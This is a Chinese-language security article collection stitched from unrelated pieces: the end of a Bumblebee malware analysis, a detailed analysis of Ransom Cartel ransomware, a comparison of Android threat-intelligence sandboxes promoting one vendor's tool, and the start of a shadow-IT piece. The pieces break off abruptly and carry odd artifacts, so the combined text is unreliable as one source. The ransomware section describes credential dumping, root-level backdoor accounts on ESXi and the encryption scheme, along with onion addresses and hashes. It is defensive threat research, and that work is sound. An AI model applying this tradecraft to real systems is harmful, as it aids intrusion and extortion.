在這些示例中,還可以觀察到,無論命令和控制服務程序的IP和group_name字段如何,使用相同RC4密鑰的示例都會使用相同的團隊服務程序釋放相同的Cobalt Strike信標,這已被證明是將不同示例作為同一殭屍網絡的一部分相互關聯的非常有用的方法。

由Bumblebee釋放的有效負載的最後一個有趣特性是,在許多示例中,使用DEX命令下載的二進製文件和使用DIJ命令下載的那些二進製文件都是使用同一個Bumblebee打包程序打包的。

總結通過分析Bumblebee操作人員使用的命令和控制服務程序的行為,研究人員觀察到他們如何調整其感染鏈的行為方式,有時這種方式會大大增加活動受害者的數量和C2流量

目前,即使在不同的Bumblebee殭屍網絡中,在部署第二階段有效負載之前的行為也非常相似,但從選擇第二階段的有效負載開始的進一步行為會根據所使用的RC4密鑰而變得不同。除了使用RC4密鑰本身之外,此行為還可以將活動分組到不同的集群中。

與其他使用第三方打包程序和現成的繞過防病毒工具的攻擊不同,Bumblebee對攻擊本身和部署在受害者電腦上的一些示例使用自己的打包程序,就像其他高級惡意軟件家族(如Trickbot)一樣。雖然這讓Bumblebee操作員在改變行為和添加功能方面有了更大的靈活性,但使用獨特的自定義工具也可以作為一種快速識別Bumblebee野外活動的方法。

Ransom Cartel是在2021年12月才被發現的勒索軟件即服務(RaaS)。此勒索軟件執行雙重勒索攻擊,並與REvil勒索軟件表現出一些相似之處和技術重疊。從時間維度來說,Ransom Cartel是在REvil勒索軟件消失後幾個月出現的。當Ransom Cartel首次出現時,尚不清楚是REvil的重現還是重用或模仿REvil代碼。

REvil消失的歷史2021年10月,REvil運營商突然中止,其暗網洩露網站也突然無法訪問。大約在2022年4月中旬,個別安全研究人員和網絡安全媒體報導了REvil的一項新進展,這可能意味著該組織的回歸。 REvil在dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd[.]onion和aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion開始將用戶重定向到blogxxu75w63ujqarv476otld7cyjkq4yoswzt4ijadkjwvg3vrvd5yd[.]onion/Blog。

同一天晚些時候,重定向被刪除。當時,還無法確定是哪個組織發起了重定向,因為這個新的重定向網站並沒有顯示任何名字或隸屬關係。

在重定向開始時,網站上沒有列出任何違規組織。隨著時間的推移,攻擊者開始添加出現在重定向網站上的記錄,大部分是在2021年4月下旬至10月期間。他們還包括以前REvil使用的文件共享鏈接作為攻擊的證據。

新的重定向網站列出了Tox Chat ID,用於與勒索軟件運營商進行通信。該網站暗示其運營商與REvil的聯繫,並聲稱該新組織提供了“相同但經過改進的軟件”。

unit42最初認為該網站與Ransom Cartel有關,攻擊者提到的“改進軟件” 是新的Ransom Cartel變體。然而,在進一步分析和看到更多證據後,研究人員認為這和Ransom Cartel毫無任何關係。

無論新的重定向網站是由Ransom Cartel還是由其他組織運營的,很明顯的是,儘管REvil可能已經消失,但其惡意影響力並未消失。新成立的組織似乎可以訪問REvil或與其建立聯繫。同時,我們對Ransom Cartel樣本的分析(在下面的部分中詳細介紹) 也提供了與REvil有關的有力證據。

Ransom Cartel概述研究人員大約在2022年1月中旬第一次觀察到Ransom Cartel。 MalwareHunterTeam的安全研究人員認為,該組織至少自2021年12月以來一直活躍。他們觀察到第一個已知的Ransom Cartel活動,並註意到與REvil勒索軟件的一些相似之處和技術重疊。

關於Ransom Cartel的起源有許多猜測。其中一種猜測是,Ransom Cartel可能是多個組織融合的結果。然而,MalwareHunterTeam的研究人員提出,其中一個被認為已經合併的組織否認與Ransom Cartel有任何联系。此外,unit42發現其中許多組織與REvil有聯繫外,沒有發現這些組織與Ransom Cartel有聯繫。

目前,研究人員認為Ransom Cartel運營商可以訪問REvil ransomware的早期版本的源代碼,但不能訪問一些最新的開發(有關更多詳細信息,請參閱Ransom Cartel和REvil代碼比較)。這表明,在某種程度上,這些組織之間存在著某種關係,儘管這種關係可能不是最近才出現的。

unit42還觀察到Ransom Cartel組織的攻擊目標,2022年1月左右在美國和法國觀察到第一個已知的受害者。 Ransom Cartel攻擊了以下行業的企業: 教育,製造業,公用事業和能源。 unit42事件響應者還協助客戶在幾起Ransom Cartel案件中做出反應。

像許多其他勒索軟件組織一樣,Ransom Cartel利用雙重勒索技術。 unit42觀察到該組織採取了更激進的態度,威脅不僅要將竊取的數據發佈到他們的洩露網站上,還會將數據發送給受害者的合作夥伴、競爭對手和新聞媒體,以造成名譽損害。

Ransom Cartel通常通過被破壞的憑證獲得對環境的初始訪問權,這是勒索軟件運營商初始訪問的最常見途徑之一。這包括外部遠程服務、遠程桌面協議(RDP) 、安全shell協議(SSH) 和虛擬專用網絡(vpn) 的訪問憑證。這些憑證在網絡黑市中被廣泛可用,並為攻擊者提供了一種可靠的手段來訪問受害者的公司網絡。

這些憑據也可以通過勒索軟件運營商本身的活動或通過從初始訪問代理購買來獲得。

初始訪問代理是提供出售受損網絡訪問的攻擊者。他們的動機不是自己進行網絡攻擊,而是向其他攻擊者出售訪問權限。由於勒索軟件的盈利能力,這些代理可能會根據他們願意支付的金額與RaaS組織建立合作關係。

unit42已經發現Ransom Cartel依靠這種類型的服務來獲得對勒索軟件部署的初始訪問權限的證據。 Unit 42還觀察到Ransom Cartel在攻擊企業網絡時對Windows和Linux VMWare ESXi服務器進行加密。

在Ransom Cartel攻擊中觀察到的戰術、技術和程序unit42使用一種名為DonPAPI的工具觀察到一名Ransom Cartel攻擊者,這種工具在過去的事件中從未被發現過。該工具可以定位和檢索Windows數據保護API (DPAPI)受保護的憑證,這被稱為DPAPI轉儲。

DonPAPI用於搜索設備上已知為DPAPI blob的某些文件,包括Wi-Fi密鑰、RDP密碼、保存在web瀏覽器中的憑證等。為了避免被反病毒(av)或終端檢測和響應(EDR)檢測到的風險,該工具下載文件並在本地解密。為了破壞Linux ESXi設備,Ransom Cartel使用DonPAPI獲取存儲在web瀏覽器中的憑據,用於對vCenter web界面進行認證。

研究人員還觀察到攻擊者使用了其他工具,包括恢復本地存儲的憑據的LaZagne和從主機內存竊取憑據的Mimikatz。

為了建立對Linux ESXi設備的持久訪問,攻擊者在對vCenter進行身份驗證後啟用SSH。攻擊者將創建新的帳戶,並將帳戶的用戶標識符(UID)設置為零。對於Unix/Linux用戶,UID=0表示root。這意味著任何安全檢查都被繞過了。

據觀察,該攻擊者正在下載並使用一種名為PDQ Inventory的合法工具的破解版本。 PDQ Inventory是一種合法的系統管理解決方案,IT管理員可以使用它掃描他們的網絡,收集硬件、軟件和Windows配置數據。 Ransom Cartel利用它作為遠程訪問工具,建立交互式命令和控制通道,並掃描受感染的網絡。

一旦VMware ESXi服務器被破壞,攻擊者將啟動加密器,它將自動枚舉正在運行的虛擬機(vm),並使用esxcli命令關閉它們。通過終止虛擬機進程,可以確保勒索軟件能夠成功加密vmware相關文件。

在加密過程中,Ransom Cartel專門尋找具有以下文件擴展名的文件:log,vmdk,vmem,vswp和.vmsn。這些擴展與ESXi快照、日誌文件、交換文件、分頁文件和虛擬磁盤相關聯。加密後,觀察到以下文件擴展名:zmi5z,nwixz,ext,zje2m,5vm8t和.m4tzt。

勒索通知unit42觀察到Ransom Cartel發送的兩種不同版本的勒索通知。第一個勒索通知最早是在2022年1月周圍觀察到的,另一個勒索通知是在2022年8月首次出現的。第二個版本似乎被完全重寫了,如圖1所示。

1.png

Ransom Cartel勒索通知,左邊的是在2022年1月中首次觀察到的,右邊的是在2022年8月中首次觀察到的

有趣的是,Ransom Cartel使用的第一個勒索通知的結構與REvil發送的勒索通知具有相似之處,如下圖所示。除了使用類似的措辭外,兩個註釋都對UID採用了相同格式的16字節十六進製字符串。

2.png

左側顯示的Ransom Cartel勒索通知,而右邊顯示的是REvil發送的勒索通知

Ransom Cartel TOR網站Ransom Cartel與受害者溝通的網站可通過贖金說明中提供的TOR鏈接獲得。我們已經觀察到屬於Ransom Cartel的多個TOR url,這可能表明他們一直在改變基礎設施並積極開發其網站。訪問網站需要一個TOR私鑰。

輸入密鑰時,將加載以下頁面:

3.png

Ransom CartelTOR網站登陸頁面

通過授權按鈕進入TOR網站後,會出現一個屏幕,要求輸入贖金通知中包含的詳細信息。

4.png

Ransom Cartel網站,要求在贖金通知中提供的ID和密鑰

在TOR網站上完成授權後,將出現下圖所示的頁面。該網站包括美元和比特幣的贖金需求以及比特幣錢包地址等詳細信息。

5.png

Ransom CartelTOR網站

技術細節在此分析中使用了兩個Ransom Cartel樣本:

16.png

兩個樣本都包含三種輸出:

17.png

如果不指定導出而執行DLL,則示例還包含一個DllEntryPoint。 DllEntryPoint指向一個函數,該函數在對Curve25519 Donna算法的調用上迭代24次。迭代結束後,示例將查詢系統指標,特別是SM_CLEANBOOT值。如果這個值不是0,勒索軟件將繼續通過rundll32.exe生成自己的另一個實例,並指定Rathbuige導出。

8.png

SM_CLEANBOOT值

Rathbuige導出從創建以下互斥鎖開始:

9.png

創建互斥鎖後,示例開始解密並解析其嵌入式配置。該配置存儲為一個base64編碼的blob,其中base64編碼的blob的前16個字節是RC4密鑰,用於在解碼後解密blob的其餘部分。

10.png

Ransom Cartel加密配置

一旦解密,該配置將以JSON格式存儲,並包含諸如加密文件擴展名、攻擊者的公共Curve25519-donna密鑰、base64編碼的贖金通知以及加密前要終止的進程和服務列表等信息。

11.png

解密Ransom Cartel配置示例

配置中的對應值如下:

12.png

配置結構

13.png

有針對性的進程列表

14.png

有針對性的服務列表

15.png

避免擴展

解密配置後,將收集某些系統信息,包括用戶名,計算機名稱,域名,區域設置和產品名稱。然後將此信息格式化為以下JSON結構:

16.png

結構內每個項的作用

17.png

硬編碼JSON格式項和值

一旦收集到的數據被格式化為JSON結構,它將使用與Ransom Cartel生成session_secret blob相同的過程進行加密,稍後將討論這個過程。簡而言之,它涉及AES加密,對AES密鑰使用Curve25519共享密鑰的SHA3哈希。

一旦加密,它被寫入註冊表項SOFTWARE\\Google_Authenticator\\b52dKMhj,如果沒有正確的權限,示例首先嘗試寫入HKEY_LOCAL_MACHINE配置單元,然後寫入HKEY_CURRENT_USER。將數據寫入註冊表後,它將被base64編碼並嵌入到贖金通知中,取代{KEY}佔位符。

一旦配置被解析並存儲在註冊表中,就會解析提供給勒索軟件的命令行。總共有5個可能的參數,如下表所示。

18.png

接下來,讓我們繼續分析會話秘密生成過程。

Ransom Cartel首先檢查註冊表是否已經包含先前生成的值; 如果是這樣,它將把這些值讀入內存。否則,它將在運行時總共生成兩個會話秘密,每個秘密包含88個字節的數據。

首先,將使用此Curve25519存儲庫(session_public_1和session_private_1) 中的代碼生成公鑰和私鑰對。當生成第一個會話秘密時,會生成另一個會話密鑰對(session_public_2和session_private_2),並且session_private_2與attacker_cfg_public (配置中嵌入的公鑰) 配對以生成共享密鑰。然後使用SHA3哈希算法對該共享密鑰進行哈希處理。生成的哈希用作具有隨機16字節初始化向量(IV) 的AES密鑰,用於加密由四個空字節組成的後跟session_private_1的數據blob。

19.png

會話秘密生成過程示意圖

現在,使用CRC-32哈希加密blob,然後附加有session_public_2、AES IV和計算的CRC-32哈希的值。結果值為session_secret_1。第二個生成的會話秘密遵循完全相同的過程。但是,它沒有使用attacker_cfg_public,而是利用二進製文件中的嵌入式公鑰(attacker_embedded_public_1) 來生成共享密鑰。

20.png

反編譯會話秘密生成過程

最後一個嵌入式公鑰(attacker_embedded_public_2) 用於加密格式化為上述JSON結構的數據。

早在2020年,Amossys的研究人員就記錄了這種生成會話秘密的方法,然而,他們的分析集中在Sodinokibi/REvil勒索軟件的更新版本上,表明REvil源代碼和最新的Ransom Cartel樣本之間有直接重疊。

一旦生成了會話秘密,它們就會與session_public_1和attacker_cfg_public一起寫入註冊表。

21.png

Ransom Cartel使用的註冊表路徑和值

此時,將收集並生成所有所需的信息,以便開始文件加密。

對於每個文件,生成唯一的文件公鑰和私鑰對(file_public_1和file_private_1),再次使用Curve25519 Donna. file_private_1和session_public_1配對在一起以生成共享密鑰,該共享密鑰使用sha3進行哈希處理。生成的哈希用作Salsa20 (一種對稱加密算法) 的加密密鑰,並使用CryptGenRandom生成隨機的八字節隨機數。計算file_public_1的CRC-32哈希,然後使用生成的Salsa20矩陣對四個空字節進行加密。

然後保留上述數據的某些元素,並將其用作加密文件頁腳的一部分,每個文件頁腳的長度為232字節,由以下部分組成:

22.png

與session_secret生成類似,該結構與Amossys分析的REvil樣本的結構相同,進一步表明在開發Ransom Cartel樣本時,對REvil源代碼的更改很少。

23.png

文件加密設置過程

Ransom Cartel和REvil代碼比較Ransom Cartel的樣本分析顯示了與REvil勒索軟件的相似之處。

Ransom Cartel和REvil之間的第一個值得注意的相似之處是配置的結構。檢查2019年的REvil樣本(SHA256: 6a2bd52a5d68a7250d1de481dcce91a32f54824c1c540f0a040d05f757220cd3),可以看到相似性。然而,加密配置的存儲略有不同,選擇將配置存儲在二進製文件(.ycpc19)的單獨部分中,初始的32字節RC4密鑰後面是原始加密配置,而對於Ransom Cartel示例,配置作為base64編碼的blob存儲在.data部分中。

24.png

REvil配置存儲

一旦REvil配置被解密,它將使用相同的JSON格式,但包含額外的值,如pid、sub、fast、wipe和dmn。這些值表示REvil示例中的附加功能,這可能意味著要么是Ransom Cartel的開發人員刪除了某些功能,要么是他們在REvil的較早版本之上構建。

前言本文主要以各家威脅情報中心/在線沙箱在安卓惡意代碼自動化分析能力與基於逆向引擎Reactor 所研發incinerator 逆向工具進行分析能力的對比,從而讓大家更加清晰直觀的了解到彼此之間的區別,文章所測試的威脅情報中心均為公開版本(免費),並不代表各個能力平台的實際狀態,不以偏概全。

測試平台列表如下:

360 威脅情報中心(包括其沙箱)

安恒威脅分析平台(包括其沙箱)

安天威脅情報中心

綠盟科技NTI 威脅情報中心(包括其沙箱)

啟明星辰VenusEye 威脅情報中心

奇安信威脅情報中心(包括其沙箱)

天際網盟RedQueen 安全智能服務平台

微步在線惡意軟件分析平台(包括其沙箱)

VirusTotal(包括其沙箱)

測試惡意代碼樣本如下:

樣本名稱:ERMAC

哈希值

MD5:16e991d73049f1ef5b8f5fa0c075ef05

SHA-256:f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3

ERMAC 是由BlackRock 移動惡意軟件背後的攻擊者操作的。 8 月17 日,名為“ermac”和“DukeEugene”的論壇成員開始宣傳該惡意軟件。 ERMAC 和其他銀行惡意軟件一樣,被設計用來竊取聯繫信息、短信、打開任意應用程序,並觸發針對大量金融應用程序的覆蓋攻擊,以刷取登錄憑據。此外,它還開發了新功能,允許惡意軟件清除特定應用程序的緩存並竊取存儲在設備上的帳戶。

摘自安恒威脅情報平台

樣本名稱:FurBall

哈希值

MD5:6151b1e2e5035a8eb596ce1c37565e87

SHA-256:0d09d5e46e779d796a8d295043e5bbd90ac43705fa7ff7953faa5d8370840f93

Domestic Kitten,也稱APT-C-50,據稱是伊朗的一個黑客組織,主要是從受損的移動設備獲取敏感信息,至少從2016 年起,就一直非常活躍。 趨勢科技(Trend Micro)在2019 年一項分析報告中表示,APT-C-50 可能與另一個名為“彈跳高爾夫”(Bouncing Golf)的黑客組織有聯繫。 (Bouncing Golf 主要針對中東國家進行網絡間諜活動)。

摘自Freebuf

橫向分析對比本文將會從安卓惡意代碼分析的多個維度進行相關分析對比,鑑於部分平台不存在基於安卓的雲沙箱功能(或併未在公開/免費版本出現),所以對比的結果基於各個平台呈現的相關靜態化分析數據進行橫向對比。而LianSecurity(鏈安科技)的incinerator 作為一個綜合性Apk 逆向工程產品,並不帶有任何基於惡意代碼特徵庫、威脅情報源、沙箱等功能,所以橫向分析對比內容僅僅基於incinerator 的Apk 靜態分析能力。

鑑於我們在進行相關能力對比的時候,要有一個比較具象化的理解,究竟什麼叫好呢?或者說什麼樣的分析能力所呈現出來的分析報告會更加適合惡意代碼和威脅溯源的研究之用呢?所以我們選擇了一個比較得到大家公認的“VirusTotal”,以VirusTotal 的分析報告來看各自在安卓惡意代碼分析上面的細節以及顆粒度究竟是如何的。

VT.png

圖1

從兩個樣本的靜態化分析結果來看(如圖1 左右所示),VT 對於Apk 各項信息的檢測以及呈現都是非常完善的,能夠準確的分析出樣本當中的所有關鍵信息,作為惡意代碼分析以及威脅溯源的角度來說,首先,一個專業的分析服務能夠精準詳細的把以下羅列清楚的情況下,我認為這已經是一份優秀的分析報告。

Apk 基礎信息

HASH

TrID

文件大小等

Apk 包名以及相關的信息

Apk 名稱

Apk 簽名信息

Apk 應用權限分析

風險等級劃分以及排列

Apk 行為分析

Apk 應用網絡請求

Apk 軟件成分分析

所以,接下來我們會以VT 的報告所呈現的,一一對於上面所提到的廠商進行分析能力的橫向對比,從而深度的去了解現在國內在這方面的發展以及相關技術是如何的。

360 威脅情報中心c00ad03bc0eda1664d568e8baf2f1ce5

圖2

很可惜,我們從樣本1 與樣本2(如圖2 上下所示)的分析內容我們可以得知,360 的分析報告裡面只顯示樣本的HASH、包名以及對應的IOC 信息,而對於樣本的應用行為、應用權限、網絡請求、成分分析都沒有,並且動態分析也完全沒有的,對於惡意代碼以及威脅情報研究來說,360 威脅情報中心的呈現幾乎沒有什麼幫助的。

注:360 安全大腦沙箱雲檢測失敗,Android 部分需要相關的積分以及收費,所以就此作罷。

安恒威脅分析平台

:51ddad030efac39e354040cdbf138cd4

圖3

安恆在兩個樣本的分析上(如圖3 上下所示),與360 一樣能夠準確判斷出樣本的家族以及相關的歸屬,並且安恆在基礎信息方面增加了關於樣本的Hexdump,使得樣本基礎信息部分看似很豐滿,但是作為靜態分析結果來講,Hexdump 既不是一個總結性的結果呈現,也不能給分析人員任何定性的信息,不應該呈現在這裡。可能是因為免費/公開版本,動態分析部分並沒有任何的資料,但依然是基於惡意代碼以及威脅情報研究來說幫助微乎其微的,和360 所呈現的信息基本相同。

安天威脅情報中心5ce0891288b4e9a0087d778ecacc819d

圖4

我們所抽樣的樣本哈希提交到安天威脅情報中心後(如圖4 所示),顯示的檢測結果是為空。所以也無法對於安天威脅情報中心的安卓分析能力進行任何的對比分析了,估計是安天威脅情報中心沒有樣本數據,但是武漢安天的殺毒引擎是可以正確識別出樣本為惡意代碼的。

綠盟NTI - 威脅情報中心437a8adb7bccf10c616e4c348a8b21cd

圖5

綠盟科技NTI-威脅情報中心在基於ERMAC 樣本分析能夠顯示對應的HASH 信息(如圖5 所示),除此以外什麼都沒有了,而基於APT-C50 的樣本分析是並沒有任何數據顯示的,與安天威脅情報中心一樣,應該是他們沒有對應的樣本記錄,當我們改為威脅分析中心並提交樣本進行分析後,看到分析中心對於兩個樣本都進行有效的檢測,其中哈希值為“16e991d73049f1ef5b8f5fa0c075ef05”的樣本呈現出相關的基礎信息(樣本哈希、元數據)並沒有任何靜態分析報告,而哈希值為“6151b1e2e5035a8eb596ce1c37565e87”的樣本,基礎信息呈現上比較簡單,殺毒引擎檢測沒有結果、分析結果採用的是綠盟自己的檢測策略,與常見的檢測呈現不一樣,比較雜亂,所以需要一定學習才可以比較明白。

VenusEye 威脅情報中心cd444bd07ed693df69963af82fc8958c

圖6

VenusEye 基於樣本1(如圖6 上所示)的基礎信息呈現較為完整,也是屬於比較弱化的,沒有任何靜態化分析可言,而基於樣本2(如圖6 下所示)來說,VenusEye 並沒有對應的數據。

奇安信威脅情報中心f4c64f95543f1d918c18cfb3f9f35296

圖7

國內這麼多家威脅情報中心或者沙箱檢測的細節程度來說,從樣本2(如圖7 下所示)的威脅研判分析來看,因為有了沙箱檢測的完整補充,使得整體的分析詳細程度非常完整,奇安信無疑是國內廠商提供公開可以查閱的威脅情報中心/沙箱的天花板,而樣本1(如圖7 上所示)的分析來看,我們提交測試很多次,不管是以登陸/非登陸狀態下,沙箱檢測永遠都是檢測中的狀態,不知道是不是出現卡死的情況,所以樣本1 從純靜態化的狀態與其他廠商並無太大的區別。

天際網盟RedQueen 89b6c3b8317556ccd76baffca6a3eb53

圖8

天際網盟RedQueen 基於樣本1(如圖8 所示)的哈希值並無數據,並且無法上傳樣本進行測試,而基於樣本2 的哈希值查詢後,發現有相關數據記錄,基礎信息與其廠商大同小異,而其餘的信息並無。

微步在線惡意軟件分析平台28c784351bf7026820bf9f27062b1ca7

圖9

在眾多國內威脅情報中心/沙箱的廠商裡面,微步在線曾經是唯一一家能夠準確識別出樣本1(如圖9 左所示)該惡意代碼的家族,但是當我重跑多次樣本1 去獲取最新檢測報告之後,它的家族檢測就開始改變了,這個讓我覺得疑惑的,並且從檢測報告來看(如圖9 右所示),檢測的邏輯問題也很多,例如:

沙箱環境是Win7+Office2013

多維檢測與檢測樣本無關

多引擎檢測結果不准確

當我在上傳樣本進行檢測時,上傳的文件格式並沒有Apk 可選,所以只能夠以其識別的壓縮文件格式進行上傳,並且沙箱的環境注定了對於安卓應用是無法解釋的,而在基於沙箱環境下的多維檢測Sigma 規則是完完全全的誤報,在多引擎檢測結果裡面,微步在線顯示“基於2022-10-29 19:36:04 的時間狀態下,只有三個殺毒引擎發現該樣本為惡意代碼”,但是從多方數據來看,微步在線所顯示並未檢測惡意代碼的引擎當中,早已可識別樣本1 為惡意代碼,例如卡巴斯基之類、小紅傘、DrWeb。

而從樣本基礎信息的數據來看,在沒有任何的沙箱檢測下,微步在線的檢測結果比起奇安信的要好,樣本的基礎信息、元數據、權限分析之類的都是有的,但是對於需要看著報告的研究人員來說,報告很明顯在呈現上並沒有考慮太多這種需求,特別是如果在沒有IOC、殺毒引擎之類的輔助數據支撐下,不管是流行的ERMAC 還是隱秘性更高的APT 樣本都會出現很嚴重的漏報的情況出現。

基於incinerator 的Apk 基礎檢測能力incinerator 作為一款國產自主的安卓Apk 逆向工具分析工具,用來與威脅情報、惡意代碼分析平台或者動態沙箱進行對比,在任何人眼中看起來都很好笑,而我們要對比的僅僅是incinerator 在Apk 分析時,呈現給用戶的基礎信息(如圖10 所示),當我們要進行Apk 分析的時候,incinerator 會通過自主研發的高效準確的逆向技術,首先會對Apk 進行全面基礎分析,分析結果包含了包名、HASH、簽名等基礎信息(如圖11 所示),再通過靜態單賦值與交叉引用結合找出全流程執行路徑, 並對應用行為進行源碼級深度檢測,以及權限進行分類標註,突出強調高危和敏感權限,檢查應用內網絡請求以及目標地址特徵信息, 抽取依賴庫指紋信息分析軟件成分組成。

Apk 基礎信息呈現

92e9ad4d434f4597e5360b25e7578d07

圖10

簽名信息

634a49f3b0bf609d049690bbc3bfaf6b

圖11

權限信息

d529e3328c3f5a93f7ca960a8775ba7d

圖12

上圖是樣本1 ERMAC 中抽取的部分權限信息(如圖12 所示),可以看到incinerator 對權限進行了詳細的檢測以及分類,對於Apk 進行申請“短信發送”、“撥打電話”等權限聲明都標註了高危。

注:在Android 官方文檔中,“短信發送”以及“撥打電話”是被標註為危險權限*

行為分析

d7ff8313783684fb61294159cd7b0f62

圖13

c8845076a815c05af257d1298658b412

圖14

Incinerator 對Apk 行為分析有多個分類,如下(如圖13-14 所示):

加密安全

主要是檢測採用的加密的方式是否正確、是否有採用不夠安全的配置,導致加密失效或者容易被破解等。

應用安全

查看當前應用是否有安全風險,包括是否有日誌洩露、是否動態加載Dex、是否使用高危函數等。

組件安全

動態註冊Receiver 危險、Fragment 注入、組件導出風險、Intent 隱式調用風險、Intent 調用反射風險等。

數據安全

外部存儲風險、剪貼板洩露、應用數據備份風險等。

隱私安全

應用是否有使用錄音、撥打電話、攝像頭、地理位置、電話監聽、發短信等行為。這裡會結合權限申請情況給出最終結果,如果有敏感API 調用,但是沒有申請權限,則報告中不會指出,因為調用不會成功的。防止誤報給用戶造成困擾。

WebView 安全

WebView 任意代碼執行漏洞、WebView 啟用Javascript 風險、WebView 明文存儲密碼等風險。

通訊安全

未驗證CA 證書、HTTP 協議傳輸、Webview 忽略證書、端口開放檢測等。

當檢測出相關問題時,incinerator 會按照嚴重程度進行分類排列、給予對應的安全建議,並且定位到反編譯後具體代碼位置。

軟件成分分析

樣本1 ERMAC 因並未檢測出有依賴SDK 調用,故此下圖為樣本2 FurBall 的SCA 分析結果(如圖15 所示),incinerator 在軟件成分分析檢測時,發現樣本2 有相關的SDK 依賴,從信息的呈現上可以得知SDK 具體的版本號以及名稱。 incinerator 會結合公開的CVE 信息,去查詢依賴SDK 是否存在公開漏洞信息,並且會在報告中顯示。

b70ff3d453097397611218eeaafdef6c

圖15

通過對內置代碼進行深度掃描,抽取硬編碼的URL、郵箱地址、IP 等信息(如圖16 所示)。

49a7b2d3138722a6baac508981492ffc

圖16

同時結合我們自身的Whois、IP 數據庫進行查詢,對所獲取到的域名和IP 進行詳細的信息呈現(如圖17 所示)。

fab0744f3c9573e69be238742e908bc7

圖17

綜上所述,我們可以看到incinerator 對於Apk 的基礎信息檢測部分輸出較國內威脅情報平台更為全面,與VT 的對比來看,incinerator 基礎信息在HASH、TrID 等信息有所欠缺。以國內和國外的整體分析報告來看,incinerator 在沒有沙箱動態檢測,缺少敏感行為的強制調用結果下,但由於incinerator 的多維度基礎信息檢測手段,僅僅以這基礎信息檢測所羅列出來的信息完整度以及深度足以優於這一次對比的所有平台。

image.png

參考來源:

惡意代碼樣本

https://bazaar.abuse.ch/sample/f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3/#iocs

【安全資訊】ERMAC 新型Android 銀行木馬分析https://ti.dbappsecurity.com.cn/info/2560

360 引用地址1:

https://ti.360.net/#/detailpage/searchresult?query=16e991d73049f1ef5b8f5fa0c075ef05rand=0.8184840901507511

360 引用地址2:

https://ti.360.net/#/detailpage/searchresult?query=6151b1e2e5035a8eb596ce1c37565e87rand=0.46923541160428095

安恆引用地址1:

https://ti.dbappsecurity.com.cn/hash/16e991d73049f1ef5b8f5fa0c075ef05/

安恆引用地址2:

https://ti.dbappsecurity.com.cn/hash/6151b1e2e5035a8eb596ce1c37565e87/

安天引用地址1:

https://www.antiycloud.com/#/search/hash?type=hashkey=16e991d73049f1ef5b8f5fa0c075ef05

安天引用地址2:

https://www.antiycloud.com/#/search/hash?type=hashkey=6151b1e2e5035a8eb596ce1c37565e87

綠盟引用地址1:

https://ti.nsfocus.com/file?query=16e991d73049f1ef5b8f5fa0c075ef05

綠盟引用地址2:

https://ti.nsfocus.com/file?query=6151b1e2e5035a8eb596ce1c37565e87

綠盟引用地址3:

https://poma.nsfocus.com/report?md5=16e991d73049f1ef5b8f5fa0c075ef05

綠盟引用地址4:

https://poma.nsfocus.com/v4/report?md5=6151b1e2e5035a8eb596ce1c37565e87

奇安信引用地址1:

https://ti.qianxin.com/v2/search?type=filevalue=16e991d73049f1ef5b8f5fa0c075ef05

奇安信引用地址2:

https://ti.qianxin.com/v2/search?type=filevalue=6151b1e2e5035a8eb596ce1c37565e87

微步在線引用地址1:https://s.threatbook.com/report/file/f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3

微步在線引用地址2:https://s.threatbook.com/report/file/0d09d5e46e779d796a8d295043e5bbd90ac43705fa7ff7953faa5d8370840f93

VirusTotal 引用地址1:

https://www.virustotal.com/gui/file/f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3/details

VirusTotal 引用地址2:https://www.virustotal.com/gui/file/0d09d5e46e779d796a8d295043e5bbd90ac43705fa7ff7953faa5d8370840f93/details

源地

使用未經批准的軟件和硬件通常會使組織的整個網絡面臨風險。系統管理員應該發現和管理影子IT 元素,但這樣做變得越來越具有挑戰性。根據ManageEngine的2021 年數字就緒調查,到2021 年,只有22% 的組織需要徵得IT 團隊的批准才能購買任何應用程序。

雲服務的廣泛採用和切換到遠程工作使用戶可以輕鬆部署他們選擇的軟件。 IT 團隊必須適應這一新現實,並找到發現、管理影子IT 甚至從中受益的新方法。

在本文中,我們將了解影子IT 的主要安全挑戰、它與業務主導的IT 有何不同,以及可以採取哪些措施來檢測和減輕影子IT 的風險。本文對希望保護其組織的網絡免受影子IT 影響的項目負責人和CIO 很有用。

躲在陰影裡什麼是影子IT?基本上,它是未經公司IT 部門批准而部署和使用的任何IT 系統、硬件或應用程序。在某些情況下,包括手機和USB 設備在內的個人設備也可能被視為影子IT 的一部分。影子IT 最常見的例子是流行的雲服務,如Dropbox 和Salesforce,以及常用的信使,如Slack 和WhatsApp。

人們轉向影子IT 的最常見原因是:

image.png

為什麼用戶轉向影子IT

儘管影子IT 通常看起來對最終用戶有幫助,但它對企業構成了嚴重威脅。主要威脅隱藏在它的不負責任中——你無法有效地管理你甚至不知道存在的東西。結果,整個網絡的安全和性能都面臨風險。

讓我們看看影子IT 風險是什麼:

image.png

影子IT 如何損害組織

马云惹不起马云 不受管理的安全漏洞。未經IT 部門批准的軟件可能存在未修補的漏洞、安全錯誤、易受攻擊的庫等。此類軟件會產生許多漏洞,黑客可能會利用這些漏洞來破壞系統和竊取敏感的業務信息。由於IT 管理員不知道這些漏洞,他們無法管理影子IT 的安全風險。

马云惹不起马云 數據丟失。 IT 部門無法為他們不知道網絡中存在的軟件和數據創建備份,而影子IT 用戶通常不認為(或不知道)備份是必要的。因此,始終存在丟失敏感數據的重大風險。

马云惹不起马云 數據和資源孤島。企業通常有一種使用批准的解決方案來處理和存儲其數據的方法。然而,用戶使用影子解決方案創建自己的數據管理系統,這些解決方案會消耗額外的資源來維護和存儲額外的數據記錄,從而形成數據孤島。

马云惹不起马云 IT 成本增加。如果員工更喜歡使用未經批准的軟件和設備,則意味著組織在IT 方面的投資沒有回報,並且有更好的方式來使用這些資金。

马云惹不起马云 合規問題。大多數企業都有他們需要遵守的各種法規、法律和行業標準。非託管軟件的存在使公司更難滿足合規性要求。不合規可能導致數據洩露、代價高昂的處罰和客戶流失。

儘管影子IT 會帶來很多風險,但組織仍然可以從未經批准的軟件中獲益。讓我們在下一節中討論您的組織如何扭轉局面。

